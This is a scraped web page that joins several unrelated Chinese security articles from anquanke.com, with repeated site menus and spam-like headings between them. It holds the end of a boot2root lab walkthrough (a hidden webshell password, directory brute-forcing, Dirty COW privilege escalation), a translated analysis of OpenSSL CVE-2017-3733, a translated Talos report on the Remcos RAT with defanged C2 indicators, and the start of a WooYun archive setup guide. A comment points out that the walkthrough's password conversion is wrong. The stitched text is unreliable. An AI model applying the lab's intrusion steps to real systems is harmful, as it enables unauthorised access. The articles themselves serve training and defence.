flag3: Find Jason Bourne Email access

通过提示让我们获取email的密码,flag4里已经得到密码为????? 账号为jbourne
(小伙伴们肯定要说居然都已经有注入了,直接跑出MD5解密啊,然而你知道吗,解不出来,解不出来你知道吗….)
我们在跑数据库的时候发现有一个叫“eworkshop“的数据库(后面用得到)

我们已经知道了邮箱的账号密码,访问/squirrelmail/登陆,并得到flag

Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=} (此处为:Everything is encrypted 一切都是加密的)

除了这个flag还有一些邮件往来对话,表示无法破译下面的这些文字,并还说疑似俄语混淆大家… 大家感受一下
Sr Wrnrgir
Ru blf ziv ivzwrmt gsrh R nrtsg yv mlg zorev. R szev kozxv z yzxpwlli rm Yozxpnzipvg
dliphslk fmwvi /ptyyzxpwlli ulowvi blf nfhg szev gl
KzhhKzhh.qkt rm liwvi gl szxp rm rg.
本菜在这里被坑了很久,最后琨总告诉我这是置换密码(古典加密)…
通过https://www.quipqiup.com/ 解密得到:
Hi Dimitri
If you are reading this I might be not alive. I have place a backdoor in Blackmarket workshop under /kgbbackdoor folder you must have to PassPass.jpg in order to hack in it.

通过以上信息得知/kgbbackdoor目录下有个后门,本菜使用目录爆破工具加载上自有的最强的字典也还是没有跑出来,于是我想到数据库里那个数据库名,使用crunch在workshop头尾都加上可能会出现的字母数字,继续挂上字典跑目录

得到目录/vworkshop

访问并下载PassPass.jpg,有经验的小伙子应该就知道了,密码再这张图片里

密码为: Pass = 5215565757312090656
那么密码有了,我们还差一个后门地址,继续开启爆破得到:
http://192.168.1.128/vworkshop/kgbbackdoor/backdoor.php
返回200,访问页面是这样的,WTF???

查看源码发现可疑点,在apache下面有个隐藏的输入框…(GET到一招藏shell的技能!!!!!)

然后你就兴冲冲的输入上面那个密码,然而密码是错的….
其实那个是密码的十进制,需要转换:
十进制:5215565757312090656 -》十六进制:4861696c4b474400 -》ASCii: HailKGD
密码为:HailKGD
成功登陆后门shell,拿到flag:
flag6{Um9vdCB0aW1l} (此处为Root time)

(前面说的flag2,也可以直接通过这个访问/home/nicky/ftp/ImpFiles/IMP.txt)

下一步提权就比较简单了, 在有权限的目录下上传提权EXP,反弹一个shell,执行该EXP即可。
本菜这次提权使用的脏牛,提权成功!

(大家尝试使用其他EXP提权)

感谢大家观看,如有哪里写的不对烦请联系小弟斧正!!

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/106855
安全客 – 有思想的安全新媒体
渗透测试 实战入侵 靶场攻击 实战演练

d3ckx1 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
Helen
换一个
|评论列表
带头大哥 · 2018-07-17 15:26:13 回复
输入密码怎么登陆不了shell

带头大哥 · 2018-08-25 20:37:01 回复
密码那里作者应该是笔误了,10进制转16进制是错的,密码应该是HailKGB

神奇小子 · 2018-06-17 00:37:53 回复
我的cewl下来字典里为什么没有CIA这个字符 命令是:cewl -d 1 -w out.txt http://bourne.wikia.com/wiki/Operation_Treadstone

幼稚园杀手-小呆呆 · 2018-05-24 01:29:00 回复
陈杰大表哥就是牛逼

杨教授 · 2018-05-12 21:14:16 回复
shell有密码为什么登陆不进去啊!!

白帽子 · 2018-05-07 23:35:23 回复
问一下那个改id的能不能详细说说老是不成功

Anonymous · 2018-08-17 11:02:04 回复
你的ID修改成功了吗

奈何桥的轮回ゝ · 2018-05-07 08:31:46 回复
老哥,,那个sqlmap跑注入点死活跑不出来,方便加个联系方式请教一下吗?

杨教授 · 2018-08-17 11:15:44 回复
666.txt的内容是

我不是黑客 · 2018-05-12 21:05:12 回复
注入点很多的

web渣渣 · 2018-05-07 19:57:07 回复
我也不知道怎么跑出来,望楼主直接在下面说吧

d3ckx1 · 本文作者 · 2018-05-07 16:31:24 回复
level,risk 都开到最高试试

Mickey牛 · 2018-05-02 15:42:55 1 回复
我用 cewl 爬下来的字典1W +,用hydra爆破的话预估1000h。大哥,你有什么技巧吗?

d3ckx1 · 本文作者 · 2018-05-02 16:06:23 回复
是啊,我原来也是这样,要好几天跑,奔溃,所有就把cewl可以设置的少一点,然后用爬下来的字典分成1快一块的跑,运气比较好,这样跑的比较少

Mickey牛 · 2018-05-02 16:25:13 回复
哈哈,是呀。刚刚虚拟机在跑子目录的时候,都把我主机给跑down了 🙁 我第一次玩靶机,感觉这个和 CTF 很不一样,信息收集需要好长时间。 其他类似的站点都是这样嘛?

Xm17 · 2018-05-02 14:12:09 回复
靶机的账号密码是多少啊 需要登录 就是第二张图

d3ckx1 · 本文作者 · 2018-05-02 16:08:59 回复
靶机的账号密码我也不知道,不需要登陆的 你开启靶机他就会自动获取IP,然后你全段跑一下nmap或者使用netdiscover 探测出靶机IP,直接日就行

Mickey牛 · 2018-05-02 16:17:40 回复
我是直接修改了机器的root密码,然后看IP的

教主 · 2018-07-07 15:04:19 回复
怎么直接修改root密码

d3ckx1 · 本文作者 · 2018-05-02 16:24:08 回复
哈哈哈 一样的效果的 不过有一些靶机会把root密码的key写在一些奇怪的文件里,如果直接修改了root密码可能会导致key失效无法登陆,可以看我上一篇文章,最后有出现root key写在图片里

大表哥 · 2018-05-01 21:29:39 回复
这靶机vmdk文件导入vmware ws失败啊。。。

d3ckx1 · 本文作者 · 2018-05-02 09:12:18 回复
https://pan.baidu.com/s/13DE1_xZjOoIrVCM2MkiQ0g 您好,已经重新补上了官方的种子文件

男科圣手 · 2018-04-28 22:57:26 回复
方便一起学习吗

d3ckx1 · 本文作者 · 2018-05-02 16:11:06 回复
共同进步!维信好: D3c和谐k_cn 去掉和谐!

鱼刺小猫 · 2018-04-30 17:41:17 回复
不对,是参数

鱼刺小猫 · 2018-04-30 17:40:37 回复
请问这个nmap一般用什么命令扫描端口呀?

妇科圣手 · 2018-05-02 16:03:27 回复
nmap -A -T4 IP 最基本的

d3ckx1
广州渗透测试工程师–阿杰
文章
14
粉丝
74
TA的文章
灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇
2019-01-17 10:30:27
渗透测试实战-ROP靶机PWN+SolidState靶机入侵
2018-12-28 10:30:53
渗透测试实战-Fowsniff靶机入侵+HTB(hackthebox)入坑
2018-11-21 14:40:57
渗透测试实战-Raven:1靶机入侵
2018-11-14 16:30:10
渗透测试实战-bulldog 2靶机入侵
2018-09-27 16:30:30
输入关键字搜索内容
相关文章
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
HTB靶机渗透实战——Carrier
旧酒犹香——Pentestit Test Lab第九期(下)
旧酒犹香——Pentestit Test Lab第九期(上)
Redis未授权访问在windows下的利用
内网渗透知识基础及流程
hackthebox Oz靶机渗透
热门推荐
文章目录
#前言
# 准备环境
# 实操
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

openssl漏洞

openssl漏洞
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】OpenSSL握手重协商过程中存在漏洞可导致拒绝服务
阅读量 42933 | 稿费 100

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-05-22 17:29:17
译文声明
本文是翻译文章,文章原作者,文章来源:mcafee.com
原文地址:https://securingtomorrow.mcafee.com/mcafee-labs/vulnerable-openssl-handshake-renegotiation-can-trigger-denial-service/

译文仅供参考,具体内容表达以及含义原文为准

×

https://p1.ssl.qhimg.com/t01cd2278e81edf92b5.jpg

翻译:興趣使然的小胃

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、前言

OpenSSL是一个非常流行的通用加密库,可为Web认证服务提供SSL/TLS协议的具体实现。最近以来,人们发现OpenSSL中存在几个漏洞。我们写过几篇文章分析这些漏洞,包括“CVE-2017-3731:截断数据包可导致OpenSSL拒绝服务”、“SSL死亡警告(CVE-2016-8610)可导致OpenSSL服务器拒绝服务”等。今天,我们将要分析的是CVE-2017-3733这个高危级漏洞,即Encrypt-Then-MAC(加密后消息认证码)重新协商崩溃漏洞,可导致OpenSSL拒绝服务。

在使用SSL/TLS协议加密数据之前,OpenSSL会先发起Handshake协议(握手)以及ChangeCipherSpec协议(更改密钥规格)的处理流程。

在Handshake阶段,客户端和服务器共同协商使用哪种加密算法。一旦协商完成,客户端和服务器会各自向对方发送一个ChangedCipherSpec消息,之后通信流量会使用协商好的算法进行加密。

在SSL/TLS中,加密数据会与MAC(Message Authentication Code,消息认证码)一起,使用以下两种方式进行发送:

1、MAC-then-encrypt(消息认证码后加密):这种方式会先计算纯文本的MAC,并将其与纯文本连接,再使用加密算法生成最终的密文。

2、Encrypt-then-MAC(加密后消息认证码):这种方式会先加密纯文本,并将已加密纯文本的MAC附加在尾部,形成最终的密文。

如果ClientHello消息没有包含Encrypt-Then-Mac扩展,那么默认情况下使用的是MAC-then-encrypt模式。如果ClientHello消息包含Encrypt-Then-Mac扩展,那么服务器就会在加密数据后计算MAC。

如果客户端或服务器希望更改加密算法,它们可以重新协商之前已确认的密码套件(Cipher Suites)。重新协商过程可以发生在数据传输的任何阶段中,只需要在已有的SSL连接中发起一个初始化Handshake即可。

二、漏洞触发

关于这个漏洞,OpenSSL的官方解释如下:

“在handshake重新协商中,如果协商过程中包含Encrypt-Then-Mac扩展,而原始的handshake中不包含该扩展(反之亦然),那么OpenSSL就会崩溃(取决于所使用的密码套件)。客户端和服务器都会受到影响”。

假设客户端使用默认的MAC-then-encrypt模式发起与服务器的TLS握手流程。如果客户端使用Encrypt-then-MAC扩展发起重新协商流程,并在ChangeCipherSpec消息之前以该模式发送加密数据,那么服务器就会崩溃,导致拒绝服务。

当客户端触发这个漏洞时,服务器的崩溃点位于“ssl3_get_record”函数中,该函数位于“ssl3_record.c”文件中,如下所示:

http://p1.qhimg.com/t0194ded896d059fc7f.png

崩溃点位于352行,此时程序正在检查mac_size变量值是否小于EVP_MAX_MD_SIZE的值(64字节):

http://p4.qhimg.com/t01b659cfaba11d146a.png

if语句判断断言(assertion)语句是否成立,即判断服务器中是否设置了Encypt-then-MAC标识。if语句中的宏如下:

http://p1.qhimg.com/t01925067a33d0e6e16.png

在重新协商过程中,当使用Encrypt-then-MAC扩展发送ClientHello报文时,TLS1_FLAGS_ECRYPT_THEN_MAC标识已经被设置。因此if条件满足,程序会进入if内部的处理流程。但是由于ChangeCipherSpec消息还没有传递给服务器,服务器并不知道它必须使用Encrypt-then-MAC扩展。

在352行设置断点,检查mac_size变量的值,我们发现该至为0xffffffff,这个值比EVP_MAX_MD_SIZE的值(64字节)大。因此断言错误,导致服务器崩溃。

http://p6.qhimg.com/t017896c2bc9159a910.png

让我们好好分析一下源码,看看为什么mac_size的值会是0xffffffff。我们发现EVP_MD_CTX_size函数负责计算mac_size变量的值:

http://p2.qhimg.com/t011ead64dfee3c824a.png

上述代码中,如果md(message digest,消息摘要)的值为null,函数就会返回-1,而0xffffffff刚好是-1的二进制补码形式。这意味着“s->read_hash”语句会返回null,因为此时服务器会尝试使用MAC-then-encrypt模式计算哈希值。

以上就是OpenSSL漏洞的分析过程。

本文翻译自 mcafee.com, 原文链接 。如若转载请注明出处。
安全知识

興趣使然的小胃 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
Anonymous
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
興趣使然的小胃
肥叶好香锅,孜孜不倦
文章
334
粉丝
55
TA的文章
WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53
RSAC创新沙盒2019:云、身份、应用安全成为焦点
2019-02-20 16:00:59
Dirty Sock:Ubuntu提权漏洞分析
2019-02-14 11:00:09
Chrome扩展在持久化中的应用
2019-02-14 10:30:31
Foxit Reader SDK ActiveX漏洞分析
2019-02-13 15:30:20
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

www.1cc8.com

www.1cc8.com
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
揭秘Remcos下的僵尸网络
阅读量 34519 | 稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-09-06 16:30:30
译文声明
本文是翻译文章,文章原作者,文章来源:talosintelligence.com
原文地址:https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html

译文仅供参考,具体内容表达以及含义原文为准

×

一、概述
思科Talos团队最近发现多起使用Remcos远程控制工具的事件,该工具由一家名为Breaking Security的公司出售,虽然该公司表示他们出售的软件只能用于合法用途,对于不遵守其最终用户许可协议的用户将撤销其许可证。但远程控制工具的贩卖给攻击者建立一个潜在的僵尸网络提供了所需的一切条件。

每个Remcos许可证的价格从58欧元到389欧元不等。Breaking Security还支持用户使用数字货币进行支付。这种远控可以完全控制和监测任何Windows XP及其之后的包括服务器在内的Windows系统。

除了Remcos之外,Breaking Security还提供一种名为Octopus Protector的加密工具,它可以通过加密磁盘软件的方式使恶意软件绕过反恶意软件产品的检测。在YouTube的Breaking Security频道上展示了这款工具绕过反病毒软件的能力。这个公司还提供一种键盘记录器,它具有记录和发送功能。还有可以发送大量垃圾邮件的邮件系统以及可以发送命令控制C2通信的DynDNS服务。当这些和Remcos相结合,就提供了构建一个持久性僵尸网络的基础设施。

在思科的高级恶意软件防护(AMP)系统内,我们监测到了几种尝试在各终端安装此RAT的实例。我们还看到许多恶意软件散布Remcos的行为,这些行为使用不同的方法绕过检测。为了帮助那些感染Remcos的受害者,思科Talos团队提供了一个从二进制文件中提取C2服务器地址及其他信息的脚本。详细信息请看下面的技术细节部分。

二、Remcos在野利用
由于Remcos在许多与黑客相关的论坛上进行广告宣传和销售,我们观察到几起恶意软件尝试传播Remcos给大量受害者的活动。我们认为大量不相关的攻击者利用这种软件,使用不同的方式去感染系统。今年早些时候,RiskIQ发布了一份关于一名攻击者的报告,这名攻击者的目标是土耳其国防承包商。从那之后,这个攻击者持续活动,并把目标指向特定类型的组织。我们确信,除了国防承包商,这名攻击者还把以下组织作为目标,如:

国际新闻机构
柴油机设备制造商和海事及能源部门服务提供商
能源部门的HVAC服务提供商
在观察到的活动中,攻击始于用土耳其语编写的特制鱼叉式钓鱼邮件,这些邮件看起来像土耳其政府部门发的,声称与受害组织的税务报告有关。下面是其中的一份邮件,作为示例:
攻击者尽力使邮件看起来更像是来自Gelir İdaresi Başkanlığı (GIB)的官方邮件,土耳其税务局在财政部下运作,负责处理土耳其的税务事务。邮件甚至还包括官方GIB图形和底部的文本,这些文字翻译后为:
“感谢您参与[税务局]电子邮件服务的电子邮件通知系统。此消息包含已被GIB邮件通知系统发送给您。请不要回复此邮件。”

和其他的鱼叉式钓鱼攻击一样,恶意的Microsoft Office被附加在邮件内。大部分的文档为Excel表格,我们观察到使用Word文档攻击时,许多情况下,文档的内容会被故意模糊,来诱使受害者开启宏来查看文档。下面是一个活动中发现的,伪装成税款单的Word文档。

我们分析的大多数Excel表格都是空白的,只有以下的图片和警告,用土耳其语提示用户开启宏。

我们还观察到一些针对英文用户的活动,下面是一个恶意附件,看起来像是西班牙的旗舰航空公司lberia的发票。

除了以lberia为主题的恶意文档,我们还发现了与波兰航空公司AMC有关的大量恶意文档,如下是用Excel和Word制作的行程诱导图。

如RiskIQ所报道,包含小的可执行文件的宏以数组的方式被嵌入文档,一旦执行,宏重构可执行文件,将其保存到系统的特殊的位置并执行它,指定的文件位置会在恶意文档中发生更改,包括恶意软件作者常用的目录,例如%APPDATA%和%TEMP%。可执行文件名也会在文档中更改。

提取的可执行文件很简单,被作为Remcos恶意软件的下载程序。它是一个很普通的程序,用于从攻击者控制的服务器检索Remcos并执行它,从而感染系统。下面是一个例子:

Remcos是一个强大的RAT,可在被感染的系统执行键盘记录,远程截屏,文件管理,命令执行等多个功能,一些情况下,除了Remcos,还检测到一些与这些活动相关的分发服务器上寄存了几个恶意二进制文件。

三、谁是Remcos的幕后推手?
正如前面所提到,名为Breaking Security的公司在官网出售Remcos及其他一些可疑的软件。在官网上,没有这家公司的细节信息或幕后人信息,但在官网列出了增值税号码来说明公司已经在德国注册。有趣的是,你可以在几乎任何欧盟(EU)国家/地区查找公司的名称和地址网站。但考虑到个人隐私,德国并不会公布这项信息。由于Breaking Security已在德国注册,因此我们无法确定该公司背后的个人姓名和地址。尽管如此,我们还是能够鉴别一些特征,让我们了解谁可能是公司背后的人。

公共和私人增值税项目的比较

Breaking Security的域名目前在Cloudflare上托管,可以隐秘的保护注册信息。我们费了很大的功夫去解密谁在这家公司幕后以及和这些软件有关。通过分析,我们可以找到一些有关这个公司幕后人的个人线索,但也可能是错误的或者是攻击者在互联网上故意构造的虚假信息。

我们首先证实的是如Viotto Keylogger截图所示的邮箱和域名。

logs@viotto[.]it
viotto-security[.]net

虽然viotto-security[.]net域名服务器的注册信息受到和breaking-security[.]net一样的保护。域名viotto[.]it在”Sender’s e-mail”无法找到。但这个域名相关的Whois信息如下图所示:

因为这些数据在很多地方已经公开,所以我们不对它做模糊化处理。我们还通过从网站收集的数据确定了REMCOS作者似乎经常使用的其他的email, jabber和xmpp地址:

viotto@null[.]pm
viotto24@hotmail[.]it
viotto@xmpp[.]ru
很多情况下,很多被调查的域名采用了Cloudflare的服务,这通常会隐藏服务器托管域的真正地址。因为DNS配置通常将名称解析指向Cloudflare IP而不是Web服务器本身的IP。一个常见的错误是,虽然域本身可能受Cloudflare保护,但在许多情况下,存在一个不指向Cloudflare服务器的子域,允许取消屏蔽服务器IP地址。

这是breaking-security[.]net的情况,虽然域被Cloudflare保护,但邮件子域没有被保护,邮件子域的A记录配置如下:

mail[.]breaking-security[.]net. A 146.66.84[.]79
webmail[.]breaking-security[.]net A 146.66.84[.]79
146.66.84[.]79这个IP被托管在SiteGround Amsterdam.经过一系列测试,我们确定这也是breaking-security[.]net的主要托管地址。

另一个我们证实的与Remcos相关的域名是viotto-security[.]net.,这个域名目前被配置重定向到breaking-security[.]net,然而,情况并非总是如此。在Wayback Machine中搜索与该域相关联的页面,这个站点允许使用者浏览网页过去的版本,并以个人传记的方式展现,和出售各种工具的大公司的利益有明显的重叠:

我们还找到了Viotto在黑客论坛上打的几个广告,自2016年后,他在HackForums等黑客论坛上出售或支持Remcos。这使得他的意图很可疑。

尽管这家公司声明如果用户使用Remcos做违法活动,将撤销其许可证。如下图,有人在官方声明下声称使用该软件控制了200台肉鸡,但官方却似乎毫不在意。

Viotto在其他黑客论坛也很活跃,像OpenSC,他是版主,以下是他宣传Remcos 和Octopus Protector的帖子。

四、Remcos的技术细节
根据其他博客的描述,Remcos看起来是用C++开发的。

从发布说明来看,它目前仍很活跃,作者几乎每个月都在更新。
v2.0.5 – July 14, 2018
v2.0.4 – April 6, 2018
v2.0.3 – March 29, 2018
v2.0.1 – Feb. 10, 2018
v2.0.0 – Feb. 2, 2018
v1.9.9 – Dec. 17, 2017

Remcos具有RAT的典型功能,它可以隐藏在系统中,使用恶意软件技术,使普通用户难以察觉到它的存在。

一些常规模块看起来像拷贝或对开源代码的轻微修改,下面的反调试代码块是个很好的例子:

这是检测早已过时的“SbieDll.dll”在我们看来,现在很少有分析人员使用沙盒。进一步分析可以看出很多其他功能代码与开源项目代码有很高的相似度。下面是Remcos的VMware检测代码:

下面的样例代码来自aldeid.com:

上面提到的博客已经详细描述几个Remcos功能特性。我们关注Remcos如何实现加密。在需要加解密数据时,它几乎全部使用的RC4算法。如注册入口,C2服务器通信,文件路径等:

Exepath注册数据用base64编码。RC4加密,解密后可得到可执行文件路径:
C:TEMP1cc8f8b1487893b2b0ff118faa2333e1826ae1495b626e206ef108460d4f0fe7.exe

RC4的实现遵循标准RC4算法,在网上可以找到很多样例代码,下面是第一次在00402F01设置密钥调度算法(KSA) S_array。

转换为典型的RC4伪代码如下:

for i from 0 to 255
S[i] := i
endfor
j := 0
for i from 0 to 255
j := (j + S[i] + key[i mod keylength]) mod 256
swap values of S[i] and S[j]
endfor
在00402F5B是对RC4伪随机数生成算法的实现:

其伪代码如下:

i := 0
j := 0
while GeneratingOutput:
i := (i + 1) mod 256
j := (j + S[i]) mod 256
swap values of S[i] and S[j]
K := S[(S[i] + S[j]) mod 256]
output K
endwhile
如截图所示,Remcos使用RC4算法加解密数据,使用PE资源块中的’SETTINGS’存储初始加密密钥。这个密钥是可变的,从40字节到250字节不等。

存储数据的格式如下:

密钥长度
加密密钥
加密配置数据
被加密的配置数据块包括命令和控制服务器,RAT命令及其他数据,如下图:

加密数据包括C2服务器e.g. ejiroprecious[.]ddns[.]net和通信端口号,以及密码,此密码用于为RC4加密的C2通信生成单独的S_array。下面是RC4密钥调度算法(KSA)相关代码:

即使使用比上例更强的密码,使用这种弱加密算法意味着每个人都可以提取密码并解密C2流量或将自己的命令注入C2通道控制RAT。好消息是,成为Remcos受害者的公司可以通过存储网络的流量和Remcos二进制文件对威胁进行分析。

为了使取证人员更轻松,我们提供了一个简单的Python解码器脚本,可以解码资源部分的配置数据:

如上所述,Remcos对各种其他功能也使用相同的加密例程。因此,解码器程序还提供了手动切换加密字节的选项。这可以用于解码,例如exepath的注册表键值。

我们使用此工具提取下面的所有IOC。它使用最新的2.0.4和2.0.5版本的Remcos进行测试,但也可能适用于其他版本。

用户还可以将字节从网络嗅探器复制到二进制文件,通过解密C2通信中的字节,来查看C2服务器发送给受害者的命令。请记住使用提取的密码,例如“通过”。

五、结论
虽然销售Remcos的公司声称该应用程序仅供合法使用,但我们的研究表明它仍然被恶意攻击者广泛使用。在某些情况下,攻击者战略性地选择目标,试图进入各种关键基础设施部门供应链上的机构。机构应确保实施安全控制以对抗Remcos以及其他威胁。Remcos是一个强大的工具,正在积极开发,增加攻击者可以获取更多信息的新功能。为了与其对抗,各机构应该意识到这种威胁以及可能在互联网上传播的相关威胁。

六、IOCs
恶意文档:
0409e5a5a78bfe510576b516069d4119b45a717728edb1cd346f65cfb53b2de2
0ebfbcbf8c35ff8cbf36e38799b5129c7b70c6895d5f11d1ab562a511a2ec76e
18f461b274aa21fc27491173968ebe87517795f24732ce977ccea5f627b116f9
2f81f5483bbdd78d3f6c23ea164830ae263993f349842dd1d1e6e6d055822720
3772fcfbb09ec55b4e701a5e5b4c5c9182656949e6bd96bbd758947dfdfeba62
43282cb81e28bd2b7d4086f9ba4a3c538c3d875871bdcf881e58c6b0da017824
48dec6683bd806a79493c7d9fc3a1b720d24ad8c6db4141bbec77e2aebad1396
4938f6b52e34768e2834dfacbc6f1d577f7ab0136b01c6160dd120364a1f9e1a
4e0bcef2b9251e2aaecbf6501c8df706bf449b0e12434873833c6091deb94f0e
72578440a76e491e7f6c53e39b02bd041383ecf293c90538dda82e5d1417cad1
77cf87134a04f759be3543708f0664b80a05bb8315acb19d39aaa519d1da8e92
8abcb3084bb72c1cb49aebaf0a0c221a40538a062a1b8830c1b48d913211a403
94ff6d708820dda59738401ea10eb1b0d7d98d104a998ba6cee70e728eb5f29f
9cccdb290dbbedfe54beb36d6359e711aee1b20f6b2b1563b32fb459a92d4b95
aa7a3655dc5d9e0d69137cb8ba7cc18137eff290fde8c060ac678aa938f16ec7
ad78b68616b803243d56593e0fdd6adeb07bfc43d0715710a2c14417bba90033
bb3e5959a76a82db52840c4c03ae2d1e766b834553cfb53ff6123331f0be5d12
c5b9c3a3bbfa89c83e1fb3955492044fd8bf61f7061ce1a0722a393e974cec7c
d3612813abf81d0911d0d9147a5fe09629af515bdb361bd42bc5a79d845f928f
e302fb178314aa574b89da065204bc6007d16c29f1dfcddcb3b1c90026cdd130
e7c3c8195ff950b0d3f7e9c23c25bb757668b9c131b141528183541fc125d613
ef5e1af8b3e0f7f6658a513a6008cbfb83710f54d8327423db4bb65fa03d3813
f2c4e058a29c213c7283be382a2e0ad97d649d02275f3c53b67a99b262e48dd2

第1阶段可执行文件:
07380d9df664ef6f998ff887129ad2ac7b11d0aba15f0d72b6e150a776c6a1ef
1e5d5226acaeac5cbcadba1faab4567b4e46b2e6724b61f8c705d99af80ca410
224009a766eef638333fa49bb85e2bb9f5428d2e61e83425204547440bb6f58d
27dd5a3466e4bade2238aa7f6d5cb7015110ceb10ba00c1769e4bc44fe80bcb8
502c4c424c8f435254953c1d32a1f7ae1e67fb88ebd7a31594afc7278dcafde3
5a9fa1448bc90a7d8f5e6ae49284cd99120c2cad714e47c65192d339dad2fc59
91032c5ddbb0447e1c772ccbe22c7966174ee014df8ada5f01085136426a0d20
9114a31330bb389fa242512ae4fd1ba0c9956f9bf9f33606d9d3561cc1b54722
9fe46627164c0858ab72a7553cba32d2240f323d54961f77b5f4f59fe18be8fa
c2307a9f18335967b3771028100021bbcf26cc66a0e47cd46b21aba4218b6f90
c51677bed0c3cfd27df7ee801da88241b659b2fa59e1c246be6db277ce8844d6
da352ba8731afee3fdbca199ce8c8916a31283c07b2f4ebaec504bda2966892b

PE32可执行文件:
Remcos PE32可执行文件的哈希值列表可在此处找到

IP地址:
109.232.227 [.] 138
54.36.251 [.] 117
86.127.159 [.] 17
195.154.242 [.] 51
51.15.229 [.] 127
212.47.250 [.] 222
191.101.22 [.] 136
185.209 .20 [.] 221
92.38.86 [.] 175
139.60.162 [.] 153
192.0.2 [.] 2
185.209.85 [.] 185
82.221.105 [.] 125
185.125.205 [.] 74
77.48. 28 [.] 223
79.172.242 [.] 28
79.172.242 [.] 28
192.185.119 [.] 103
181.52.113 [.] 172
213.152.161 [.] 165

域名:
dboynyz [.] pdns [.] cz
streetz [.] club
mdformo [.] ddns [.] net
mdformo1 [.] ddns [.] net
vitlop [.] ddns [.] net
ns1 [.] madeinserverwick [.] club
uploadtops [.]is
prince[.] jumpingcrab [.] com
timmason2 [.] com
lenovoscanner [.] duckdns [.] org
lenovoscannertwo [.] duckdns [.] org
lenovoscannerone [.] duckdns [.] org
google [.] airdns [.] org
civita2 [.] no-ip [.] biz
www [.] pimmas [.] com [.] tr
www [.] mervinsaat [.] com.tr
samurmakina [.] com [.] tr
www [.] paulocamarao [.] com
midatacreditoexperian [.] com [.] co
www [.] lebontour [.] com
businesslisting [.] igg [.] biz
unifscon [.] com

本文翻译自 talosintelligence.com, 原文链接 。如若转载请注明出处。
恶意软件 僵尸网络 RAT

西格玛 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
大表哥
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
西格玛
这个人太懒了,签名都懒得写一个
文章
12
粉丝
2
TA的文章
Kutaki恶意软件绕过网关窃取用户凭证
2019-02-01 10:30:53
Vidar窃密木马分析(下)
2019-01-26 10:30:26
Vidar窃密木马分析(上)
2019-01-25 15:30:04
Jenkins漏洞背后的资源争夺战
2018-12-22 10:00:41
Charming Kitten王者归来
2018-12-18 14:30:03
输入关键字搜索内容
相关文章
Lucky双平台勒索者解密分析
Criakl勒索病毒分析简要
2018年Android恶意软件专题报告
某后门病毒分析报告
Chrome扩展在持久化中的应用
2018年云上挖矿分析报告
勒索软件 Jaff 深入分析
热门推荐
文章目录
一、概述
二、Remcos在野利用
三、谁是Remcos的幕后推手?
四、Remcos的技术细节
五、结论
六、IOCs
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

乌云漏洞

乌云漏洞
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】手把手教你本地搭建8.8W(全量)乌云漏洞库
阅读量 85960 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-05-09 14:20:04
https://p1.ssl.qhimg.com/t01d8231705340f8d00.jpg

前言

前段时间,老师在群里分享了一个 github 的连接,说开源了。

我记得当时,看了看,才那么几百M,还 8.8 W = = !

昨天,我一朋友自己直接搭自己硬盘上了,我就自己搭搭吧,很简单的,一放一点就成了。

按我的风格,肯定要记录的详细的不能再详细了 ,就算很简单的步骤,我也要详细点。

就像,我上次用 linux 的系统,搭建一个网站,要是有大牛直接甩我 一堆命令行 ,该有多好,我直接张贴复制就是怼。 #(斜眼笑。。。)

这个是开源地址:

https://github.com/m0l1ce/wooyunallbugs

这是我存我百度盘里的:

链接: http://pan.baidu.com/s/1nvkFKox 密码: 94sp

本地搭建 8.8 W 乌云漏洞库

1,首先去下载一个集成环境工具,这里我用的 phpStudy , 33M 的这个。

http://p7.qhimg.com/t017ecd4ca0601981fa.png

